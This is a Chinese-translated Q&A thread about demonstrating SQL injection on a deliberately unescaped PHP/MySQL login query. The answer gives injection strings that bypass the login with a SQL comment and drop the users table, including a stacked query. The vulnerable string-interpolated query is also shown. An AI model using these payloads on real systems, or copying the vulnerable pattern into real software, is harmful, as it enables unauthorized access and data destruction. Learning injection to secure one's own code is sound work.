如何在这个PHP和MySQL代码中演示SQL注入?

Chr*_*ris 5 mysql security code-injection

我首先要注意的是,这是对我自己的数据库的一次教育尝试,以便更好地理解MySQL注入以保护我自己的代码.

我需要弄清楚如何根据以下代码构建MySQL注入的几个示例.这是一个基本的用户登录系统,我接受用户名和密码而没有任何转义

$user = (!empty($_POST['user'])) ? $_POST['user'] : '';
$pass = (!empty($_POST['pass'])) ? $_POST['pass'] : '';
Run Code Online (Sandbox Code Playgroud)

然后,MySQL查询尝试在名为users的表中查找输入的用户名和密码,如下所示:

$res = mysql_query("SELECT * from users where user='{$user}' AND pass='{$pass}'");
Run Code Online (Sandbox Code Playgroud)

这是未转义的输入,我正在尝试将MySQL注入:

  1. 知道合法用户的用户名(我的用户表中的一个用户是测试人员),以及
  2. 注入会完全丢弃用户表.

我已经尝试了几个来自维基百科的MySQL注入示例,但我猜{}我的查询是在阻止注入,所以我很感激那些对此有信心的人的一些帮助,谢谢大家.

Gre*_*reg 5

这样的事情应该做:

  1. 要以用户"foo"身份登录,请将用户名设置为"foo" - "

这将使您的查询看起来像

$res = mysql_query("SELECT * from users where user='foo' -- ' AND pass=''");
Run Code Online (Sandbox Code Playgroud)

" - "表示该行的其余部分已注释掉

  1. 不确定这是否有效但尝试将用户名设置为"foo"或(DROP TABLE用户) - "

这将使您的查询看起来像:

$res = mysql_query("SELECT * from users where user='foo' OR (DROP TABLE users) -- ' AND pass=''");
Run Code Online (Sandbox Code Playgroud)

虽然可能不接受 - 我认为子查询只能SELECT.

mysql_query函数只运行一个查询 - 其他人可以让你这样做:

$res = mysql_query("SELECT * from users where user='foo'; DROP TABLE users -- ' AND pass=''"); 
Run Code Online (Sandbox Code Playgroud)